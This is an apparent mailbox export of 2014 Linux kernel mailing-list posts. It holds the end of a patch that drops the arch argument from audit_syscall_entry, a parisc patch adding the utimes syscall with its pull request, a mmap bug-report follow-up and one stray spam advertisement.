>  	else
>  #endif
> -		audit_syscall_entry(AUDIT_ARCH_PARISC,
> -			regs->gr[20] & 0xffffffff,
> +		audit_syscall_entry(regs->gr[20] & 0xffffffff,
>  			regs->gr[26] & 0xffffffff,
>  			regs->gr[25] & 0xffffffff,
>  			regs->gr[24] & 0xffffffff,
> diff --git a/arch/powerpc/kernel/ptrace.c b/arch/powerpc/kernel/ptrace.c
> index 2e3d2bf..524a943 100644
> --- a/arch/powerpc/kernel/ptrace.c
> +++ b/arch/powerpc/kernel/ptrace.c
> @@ -1788,14 +1788,11 @@ long do_syscall_trace_enter(struct pt_regs *regs)
>  
>  #ifdef CONFIG_PPC64
>  	if (!is_32bit_task())
> -		audit_syscall_entry(AUDIT_ARCH_PPC64,
> -				    regs->gpr[0],
> -				    regs->gpr[3], regs->gpr[4],
> +		audit_syscall_entry(regs->gpr[0], regs->gpr[3], regs->gpr[4],
>  				    regs->gpr[5], regs->gpr[6]);
>  	else
>  #endif
> -		audit_syscall_entry(AUDIT_ARCH_PPC,
> -				    regs->gpr[0],
> +		audit_syscall_entry(regs->gpr[0],
>  				    regs->gpr[3] & 0xffffffff,
>  				    regs->gpr[4] & 0xffffffff,
>  				    regs->gpr[5] & 0xffffffff,
> diff --git a/arch/s390/kernel/ptrace.c b/arch/s390/kernel/ptrace.c
> index e65c91c..2e2e7bb5 100644
> --- a/arch/s390/kernel/ptrace.c
> +++ b/arch/s390/kernel/ptrace.c
> @@ -812,9 +812,7 @@ asmlinkage long do_syscall_trace_enter(struct pt_regs *regs)
>  	if (unlikely(test_thread_flag(TIF_SYSCALL_TRACEPOINT)))
>  		trace_sys_enter(regs, regs->gprs[2]);
>  
> -	audit_syscall_entry(is_compat_task() ?
> -				AUDIT_ARCH_S390 : AUDIT_ARCH_S390X,
> -			    regs->gprs[2], regs->orig_gpr2,
> +	audit_syscall_entry(regs->gprs[2], regs->orig_gpr2,
>  			    regs->gprs[3], regs->gprs[4],
>  			    regs->gprs[5]);
>  out:
> diff --git a/arch/sh/kernel/ptrace_32.c b/arch/sh/kernel/ptrace_32.c
> index 668c816..c1a6b89 100644
> --- a/arch/sh/kernel/ptrace_32.c
> +++ b/arch/sh/kernel/ptrace_32.c
> @@ -484,17 +484,6 @@ long arch_ptrace(struct task_struct *child, long request,
>  	return ret;
>  }
>  
> -static inline int audit_arch(void)
> -{
> -	int arch = EM_SH;
> -
> -#ifdef CONFIG_CPU_LITTLE_ENDIAN
> -	arch |= __AUDIT_ARCH_LE;
> -#endif
> -
> -	return arch;
> -}
> -
>  asmlinkage long do_syscall_trace_enter(struct pt_regs *regs)
>  {
>  	long ret = 0;
> @@ -513,8 +502,7 @@ asmlinkage long do_syscall_trace_enter(struct pt_regs *regs)
>  	if (unlikely(test_thread_flag(TIF_SYSCALL_TRACEPOINT)))
>  		trace_sys_enter(regs, regs->regs[0]);
>  
> -	audit_syscall_entry(audit_arch(), regs->regs[3],
> -			    regs->regs[4], regs->regs[5],
> +	audit_syscall_entry(regs->regs[3], regs->regs[4], regs->regs[5],
>  			    regs->regs[6], regs->regs[7]);
>  
>  	return ret ?: regs->regs[0];
> diff --git a/arch/sh/kernel/ptrace_64.c b/arch/sh/kernel/ptrace_64.c
> index af90339..5cea973 100644
> --- a/arch/sh/kernel/ptrace_64.c
> +++ b/arch/sh/kernel/ptrace_64.c
> @@ -504,20 +504,6 @@ asmlinkage int sh64_ptrace(long request, long pid,
>  	return sys_ptrace(request, pid, addr, data);
>  }
>  
> -static inline int audit_arch(void)
> -{
> -	int arch = EM_SH;
> -
> -#ifdef CONFIG_64BIT
> -	arch |= __AUDIT_ARCH_64BIT;
> -#endif
> -#ifdef CONFIG_CPU_LITTLE_ENDIAN
> -	arch |= __AUDIT_ARCH_LE;
> -#endif
> -
> -	return arch;
> -}
> -
>  asmlinkage long long do_syscall_trace_enter(struct pt_regs *regs)
>  {
>  	long long ret = 0;
> @@ -536,8 +522,7 @@ asmlinkage long long do_syscall_trace_enter(struct pt_regs *regs)
>  	if (unlikely(test_thread_flag(TIF_SYSCALL_TRACEPOINT)))
>  		trace_sys_enter(regs, regs->regs[9]);
>  
> -	audit_syscall_entry(audit_arch(), regs->regs[1],
> -			    regs->regs[2], regs->regs[3],
> +	audit_syscall_entry(regs->regs[1], regs->regs[2], regs->regs[3],
>  			    regs->regs[4], regs->regs[5]);
>  
>  	return ret ?: regs->regs[9];
> diff --git a/arch/sparc/kernel/ptrace_64.c b/arch/sparc/kernel/ptrace_64.c
> index c13c9f2..9ddc492 100644
> --- a/arch/sparc/kernel/ptrace_64.c
> +++ b/arch/sparc/kernel/ptrace_64.c
> @@ -1076,13 +1076,8 @@ asmlinkage int syscall_trace_enter(struct pt_regs *regs)
>  	if (unlikely(test_thread_flag(TIF_SYSCALL_TRACEPOINT)))
>  		trace_sys_enter(regs, regs->u_regs[UREG_G1]);
>  
> -	audit_syscall_entry((test_thread_flag(TIF_32BIT) ?
> -			     AUDIT_ARCH_SPARC :
> -			     AUDIT_ARCH_SPARC64),
> -			    regs->u_regs[UREG_G1],
> -			    regs->u_regs[UREG_I0],
> -			    regs->u_regs[UREG_I1],
> -			    regs->u_regs[UREG_I2],
> +	audit_syscall_entry(regs->u_regs[UREG_G1], regs->u_regs[UREG_I0],
> +			    regs->u_regs[UREG_I1], regs->u_regs[UREG_I2],
>  			    regs->u_regs[UREG_I3]);
>  
>  	return ret;
> diff --git a/arch/um/kernel/ptrace.c b/arch/um/kernel/ptrace.c
> index 694d551..62435ef 100644
> --- a/arch/um/kernel/ptrace.c
> +++ b/arch/um/kernel/ptrace.c
> @@ -165,8 +165,7 @@ static void send_sigtrap(struct task_struct *tsk, struct uml_pt_regs *regs,
>   */
>  void syscall_trace_enter(struct pt_regs *regs)
>  {
> -	audit_syscall_entry(HOST_AUDIT_ARCH,
> -			    UPT_SYSCALL_NR(&regs->regs),
> +	audit_syscall_entry(UPT_SYSCALL_NR(&regs->regs),
>  			    UPT_SYSCALL_ARG1(&regs->regs),
>  			    UPT_SYSCALL_ARG2(&regs->regs),
>  			    UPT_SYSCALL_ARG3(&regs->regs),
> diff --git a/arch/x86/kernel/ptrace.c b/arch/x86/kernel/ptrace.c
> index 7461f50..46dfba6 100644
> --- a/arch/x86/kernel/ptrace.c
> +++ b/arch/x86/kernel/ptrace.c
> @@ -1488,15 +1488,11 @@ long syscall_trace_enter(struct pt_regs *regs)
>  		trace_sys_enter(regs, regs->orig_ax);
>  
>  	if (IS_IA32)
> -		audit_syscall_entry(AUDIT_ARCH_I386,
> -				    regs->orig_ax,
> -				    regs->bx, regs->cx,
> +		audit_syscall_entry(regs->orig_ax, regs->bx, regs->cx,
>  				    regs->dx, regs->si);
>  #ifdef CONFIG_X86_64
>  	else
> -		audit_syscall_entry(AUDIT_ARCH_X86_64,
> -				    regs->orig_ax,
> -				    regs->di, regs->si,
> +		audit_syscall_entry(regs->orig_ax, regs->di, regs->si,
>  				    regs->dx, regs->r10);
>  #endif
>  
> diff --git a/arch/x86/um/asm/ptrace.h b/arch/x86/um/asm/ptrace.h
> index 54f8102..e59eef2 100644
> --- a/arch/x86/um/asm/ptrace.h
> +++ b/arch/x86/um/asm/ptrace.h
> @@ -47,8 +47,6 @@ struct user_desc;
>  
>  #ifdef CONFIG_X86_32
>  
> -#define HOST_AUDIT_ARCH AUDIT_ARCH_I386
> -
>  extern int ptrace_get_thread_area(struct task_struct *child, int idx,
>                                    struct user_desc __user *user_desc);
>  
> @@ -57,8 +55,6 @@ extern int ptrace_set_thread_area(struct task_struct *child, int idx,
>  
>  #else
>  
> -#define HOST_AUDIT_ARCH AUDIT_ARCH_X86_64
> -
>  #define PT_REGS_R8(r) UPT_R8(&(r)->regs)
>  #define PT_REGS_R9(r) UPT_R9(&(r)->regs)
>  #define PT_REGS_R10(r) UPT_R10(&(r)->regs)
> diff --git a/arch/xtensa/kernel/ptrace.c b/arch/xtensa/kernel/ptrace.c
> index 562fac6..4d54b48 100644
> --- a/arch/xtensa/kernel/ptrace.c
> +++ b/arch/xtensa/kernel/ptrace.c
> @@ -342,7 +342,7 @@ void do_syscall_trace_enter(struct pt_regs *regs)
>  		do_syscall_trace();
>  
>  #if 0
> -	audit_syscall_entry(current, AUDIT_ARCH_XTENSA..);
> +	audit_syscall_entry(...);
>  #endif
>  }
>  
> diff --git a/include/linux/audit.h b/include/linux/audit.h
> index 4b2983e..62c9d98 100644
> --- a/include/linux/audit.h
> +++ b/include/linux/audit.h
> @@ -26,6 +26,7 @@
>  #include <linux/sched.h>
>  #include <linux/ptrace.h>
>  #include <uapi/linux/audit.h>
> +#include <asm/syscall.h>
>  
>  struct audit_sig_info {
>  	uid_t		uid;
> @@ -135,12 +136,12 @@ static inline void audit_free(struct task_struct *task)
>  	if (unlikely(task->audit_context))
>  		__audit_free(task);
>  }
> -static inline void audit_syscall_entry(int arch, int major, unsigned long a0,
> +static inline void audit_syscall_entry(int major, unsigned long a0,
>  				       unsigned long a1, unsigned long a2,
>  				       unsigned long a3)
>  {
>  	if (unlikely(current->audit_context))
> -		__audit_syscall_entry(arch, major, a0, a1, a2, a3);
> +		__audit_syscall_entry(syscall_get_arch(), major, a0, a1, a2, a3);
>  }
>  static inline void audit_syscall_exit(void *pt_regs)
>  {
> @@ -316,7 +317,7 @@ static inline int audit_alloc(struct task_struct *task)
>  }
>  static inline void audit_free(struct task_struct *task)
>  { }
> -static inline void audit_syscall_entry(int arch, int major, unsigned long a0,
> +static inline void audit_syscall_entry(int major, unsigned long a0,
>  				       unsigned long a1, unsigned long a2,
>  				       unsigned long a3)
>  { }
> -- 
> 1.8.5.3
> 
> --
> Linux-audit mailing list
> Linux-audit@redhat.com
> https://www.redhat.com/mailman/listinfo/linux-audit

- RGB

--
Richard Guy Briggs <rbriggs@redhat.com>
Senior Software Engineer, Kernel Security, AMER ENG Base Operating Systems, Red Hat
Remote, Ottawa, Canada
Voice: +1.647.777.2635, Internal: (81) 32635, Alt: +1.613.693.0684x3545



From - Thu Nov 08 21:10:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: wire up sys_utimes
Date: Sun, 23 Mar 2014 15:24:40 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <20140323142440.GA3433@ls3530.fritz.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1395584680 8749 80.91.229.3 (23 Mar 2014 14:24:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 23 Mar 2014 14:24:40 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 23 15:24:49 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WRjKT-0003pc-9P
	for glpp-linux-parisc@plane.gmane.org; Sun, 23 Mar 2014 15:24:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752266AbaCWOYs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 23 Mar 2014 10:24:48 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:62116 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751931AbaCWOYr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 23 Mar 2014 10:24:47 -0400
Original-Received: from ls3530.fritz.box ([84.173.53.166]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0MFPyK-1WMD0w3tIK-00EPeo; Sun, 23 Mar 2014 15:24:43
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:B6cCA5JoZy6T+hRXzkswsZYXtRiDbDKOaIHzA2KehvE9eqvVx36
 RbciSMi2P4QoSfS2fBN1quZL8pY/At7wI1L7KNPCcl7+JRYqW0yZQAXfWpLdbnNZzLk/9M2
 unuZooRgafWypt9LnoBcCxgfkxni5WuducVoLt4s2yWPl+s88nYme+Vuc4GNJjUaCpZ8TCI
 kZ8t8OWEVifXj7PS7WMSQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5736
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5736>

We seem to be nearly the only platform which does not provide the
sys_utimes syscall.  Adding it now makes our life much easier with
userspace applications (like dietlibc and e2fsprogs) since we then
behave like all other platforms too and don't need extra patches which
are hard to get upstream anyway because we are not a mainstream
architecture.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index 4270679..265ae51 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -828,13 +828,13 @@
 #define __NR_finit_module	(__NR_Linux + 333)
 #define __NR_sched_setattr	(__NR_Linux + 334)
 #define __NR_sched_getattr	(__NR_Linux + 335)
+#define __NR_utimes		(__NR_Linux + 336)
 
-#define __NR_Linux_syscalls	(__NR_sched_getattr + 1)
+#define __NR_Linux_syscalls	(__NR_utimes + 1)
 
 
 #define __IGNORE_select		/* newselect */
 #define __IGNORE_fadvise64	/* fadvise64_64 */
-#define __IGNORE_utimes		/* utime */
 
 
 #define HPUX_GATEWAY_ADDR       0xC0000004
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 8fa3fbb..80e5dd2 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -431,6 +431,7 @@
 	ENTRY_SAME(finit_module)
 	ENTRY_SAME(sched_setattr)
 	ENTRY_SAME(sched_getattr)	/* 335 */
+	ENTRY_COMP(utimes)
 
 	/* Nothing yet */
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc updates for v3.14
Date: Sun, 23 Mar 2014 22:02:19 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20140323210219.GA15854@p100.fritz.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1395608579 4452 80.91.229.3 (23 Mar 2014 21:02:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 23 Mar 2014 21:02:59 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 23 22:03:08 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WRpXv-0001RM-FD
	for glpp-linux-parisc@plane.gmane.org; Sun, 23 Mar 2014 22:03:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750920AbaCWVC1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 23 Mar 2014 17:02:27 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:55621 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750798AbaCWVC0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 23 Mar 2014 17:02:26 -0400
Original-Received: from p100.fritz.box ([84.173.53.166]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0MCtut-1WIElJ0Bzn-009e2j; Sun, 23 Mar 2014 22:02:22
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:QS3vli6zITMoicbN3fXI67wBBwA8K3HfRcpqEc6YQuNHv/U+y1N
 MqO8TKqLBtBGmM5aeq/57E8+5TKTn99q339Cskn320Orqqz2RaVR+HsvdajJoXYhx4v5s5t
 BAKIQIW36kuthpHHuT1efPtyhouvVFrsFVDulCfSh3JfRGTQwaaRxIBn3/JFzdecMVhNJ8b
 kFbMK7Rw1UZl+4kqGeqRg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5737 gmane.linux.kernel:1671885
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5737>

Hi Linus,

please consider pulling some late patches for the parisc architecture from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.14

This patchset 
- reverts parts of my latest patch regarding font selection with STICON console,
- wires up the utimes() syscall for parisc, and
- removes the unused parisc tmpalias code and unnecessary arch*relax defines

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (2):
      partly revert commit 8a10bc9: parisc/sti_console: prefer Linux fonts over built-in ROM fonts
      parisc: wire up sys_utimes

John David Anglin (1):
      parisc: Remove unused CONFIG_PARISC_TMPALIAS code

Will Deacon (1):
      parisc: locks: remove redundant arch_*_relax operations

 arch/parisc/include/asm/page.h        | 11 ------
 arch/parisc/include/asm/spinlock.h    |  4 ---
 arch/parisc/include/uapi/asm/unistd.h |  4 +--
 arch/parisc/kernel/cache.c            | 64 -----------------------------------
 arch/parisc/kernel/syscall_table.S    |  1 +
 lib/fonts/Kconfig                     |  6 ++--
 6 files changed, 6 insertions(+), 84 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Linux parisc" <csanders@sefcoelectric.com>
Newsgroups: gmane.linux.serial,gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.power-management.general,gmane.linux.ppp,gmane.linux.raid,gmane.linux.scsi,gmane.linux.ports.sh.devel,gmane.linux.smp,gmane.linux.usb.general,gmane.linux.userfs,gmane.linux.kernel.wireless.general,gmane.linux.network,gmane.comp.security.firewalls.netfilter.general,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.drivers.platform.x86.devel,gmane.comp.file-systems.reiserfs.general
Subject: My husband loves Jacob & Co
Date: Sun, 30 Mar 2014 09:24:41 +0200
Lines: 9
Approved: news@gmane.org
Message-ID: <AF12BDC1.1DB94AAD@sefcoelectric.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1396164600 18755 80.91.229.3 (30 Mar 2014 07:30:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 30 Mar 2014 07:30:00 +0000 (UTC)
Cc: <linux-pci@vger.kernel.org>, <linux-pm@vger.kernel.org>,
	<linux-ppp@vger.kernel.org>, <linux-ppp-owner@vger.kernel.org>,
	<linux-raid@vger.kernel.org>, <linux-raid-owner@vger.kernel.org>,
	<linux-s390@vger.kernel.org>, <linux-scsi@vger.kernel.org>,
	<linux-serial@vger.kernel.org>, <linux-sh@vger.kernel.org>,
	<linux-smp@vger.kernel.org>, <linux-smp-owner@vger.kernel.org>,
	<linux-sound-owner@vger.kernel.org>, <linux-usb@vger.kernel.org>,
	<linux-userfs@vger.kernel.org>, <linux-wireless@vger.kernel.org>,
	<majordomo@vger.kernel.org>, <net@vger.kernel.org>,
	<netdev@vger.kernel.org>, <netfilter@vger.kernel.org>,
	<netfilter-devel@vger.kernel.org>,
	<platform-driver-x86@vger.kernel.org>,
	<postmaster@vger.kernel.org>, <reiserfs-devel@vger.kernel.org>
To: <linux-parisc@vger.kernel.org>
Original-X-From: linux-serial-owner@vger.kernel.org Sun Mar 30 09:29:51 2014
Return-path: <linux-serial-owner@vger.kernel.org>
Envelope-to: lnx-linux-serial@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-serial-owner@vger.kernel.org>)
	id 1WUABh-0003bk-Qa
	for lnx-linux-serial@plane.gmane.org; Sun, 30 Mar 2014 09:29:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751581AbaC3H3s (ORCPT <rfc822;lnx-linux-serial@m.gmane.org>);
	Sun, 30 Mar 2014 03:29:48 -0400
Original-Received: from 50-194-35-253-static.hfc.comcastbusiness.net ([50.194.35.253]:57872
	"EHLO mail.sefcoelectric.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1751353AbaC3H3r (ORCPT
	<rfc822;linux-serial@vger.kernel.org>);
	Sun, 30 Mar 2014 03:29:47 -0400
X-Greylist: delayed 303 seconds by postgrey-1.27 at vger.kernel.org; Sun, 30 Mar 2014 03:29:46 EDT
Original-Received: from sefcoelectric.com [72.38.80.147] by sefcoelectric.com with ESMTP
  (SMTPD-10.02) id A6B901E0; Sun, 30 Mar 2014 02:24:41 -0500
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.5) Gecko/20041206 Thunderbird/1.0
Original-Sender: linux-serial-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-serial.vger.kernel.org>
X-Mailing-List: linux-serial@vger.kernel.org
Xref: news.gmane.org gmane.linux.serial:14212 gmane.linux.ports.parisc:5742 gmane.linux.kernel.pci:30370 gmane.linux.power-management.general:44181 gmane.linux.ppp:4152 gmane.linux.raid:46039 gmane.linux.scsi:89651 gmane.linux.ports.sh.devel:33996 gmane.linux.smp:2238 gmane.linux.usb.general:105853 gmane.linux.userfs:114 gmane.linux.kernel.wireless.general:121798 gmane.linux.network:311506 gmane.comp.security.firewalls.netfilter.general:46963 gmane.comp.security.firewalls.netfilter.devel:52139 gmane.linux.drivers.platform.x86.devel:5380 gmane.comp.file-systems.reiserfs.general:24630
Archived-At: <http://permalink.gmane.org/gmane.linux.serial/14212>

Give her the gift of her lifetime without using your lifetime's savings.
http://stalvandriel.com/umyvxyp.php


--
To unsubscribe from this list: send the line "unsubscribe linux-serial" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Tue, 1 Apr 2014 21:26:27 +0300
Lines: 52
Approved: news@gmane.org
Message-ID: <20140401182627.GA3285@drone.musicnaut.iki.fi>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
 <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>
 <201312191619.05005.vapier@gentoo.org>
 <5313A12E.7010307@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1396376892 5531 80.91.229.3 (1 Apr 2014 18:28:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Apr 2014 18:28:12 +0000 (UTC)
Cc: Mike Frysinger <vapier@gentoo.org>,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 01 20:28:06 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WV3Po-0003Ck-Rh
	for glpp-linux-parisc@plane.gmane.org; Tue, 01 Apr 2014 20:28:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751438AbaDAS2D (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Apr 2014 14:28:03 -0400
Original-Received: from filtteri5.pp.htv.fi ([213.243.153.188]:48081 "EHLO
	filtteri5.pp.htv.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751297AbaDAS2C (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Apr 2014 14:28:02 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by filtteri5.pp.htv.fi (Postfix) with ESMTP id 5AFFB5A746E;
	Tue,  1 Apr 2014 21:27:57 +0300 (EEST)
X-Virus-Scanned: Debian amavisd-new at pp.htv.fi
Original-Received: from smtp6.welho.com ([213.243.153.40])
	by localhost (filtteri5.pp.htv.fi [213.243.153.188]) (amavisd-new, port 10024)
	with ESMTP id F-QZWrLKzK53; Tue,  1 Apr 2014 21:27:53 +0300 (EEST)
Original-Received: from drone (91-145-91-118.bb.dnainternet.fi [91.145.91.118])
	by smtp6.welho.com (Postfix) with ESMTP id 325F55BC005;
	Tue,  1 Apr 2014 21:27:56 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <5313A12E.7010307@gmx.de>
User-Agent: Mutt/1.5.22 (2013-10-16)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5743
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5743>

Hi,

On Sun, Mar 02, 2014 at 10:22:54PM +0100, Helge Deller wrote:
> On 12/19/2013 10:19 PM, Mike Frysinger wrote:
> > On Thursday 19 December 2013 14:44:40 John David Anglin wrote:
> >> On 12/19/2013 2:17 PM, Aaro Koskinen wrote:
> >>> This commit (0576da2c08e3d332f1b0653030d28ab804585ab6) and the current
> >>> mainline kernel (3.13-rc4) gives me the following with GLIBC 2.18:
> >>>
> >>> $ localedef -c -i en_US -f UTF-8 en_US.UTF-8
> >>> cannot map archive header: Invalid argument
> >>>
> >>> strace looks like this:
> >>>
> >>> mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42f34000
> >>> mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3,
> >>> 0) = -1 EINVAL (Invalid argument)
> >>>
> >>> With the patch reverted, it works:
> >>>
> >>> mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0x42d74000
> >>> mmap2(0x43000000, 1607632, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3,
> >>> 0) = 0x43000000
> >>>
> >>> BTW, note that for GLIBC 2.18 some changes were done regarding this:
> >>> https://sourceware.org/bugzilla/show_bug.cgi?id=10283
> >>
> >> Are you sure the glibc changes are correct?  PARISC addresses are not
> >> strictly aligned to SHMLBA.
> >> There's also a page offset and "random" offset derived from the kernel
> >> address of the mapping struct.
> > 
> > the glibc changes were to use SHMLBA as the min alignment where as before it 
> > was using PAGE_SIZE.  the kernel shouldn't reject us because we manually 
> > increased our alignment ... the mappings should still be overlapping, so it 
> > shouldn't be an "out of mapping space" issue.
> > 
> > the first one gets a really large map (not fixed), and then the second does a 
> > small mapping inside of that first one.
> 
> This doesn't work for parisc.
> We currently face this issue again now with eglibc on debian since we updated
> it.

FWIW, this bug is still present with mainline Linux 3.14 + GLIBC 2.19.

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
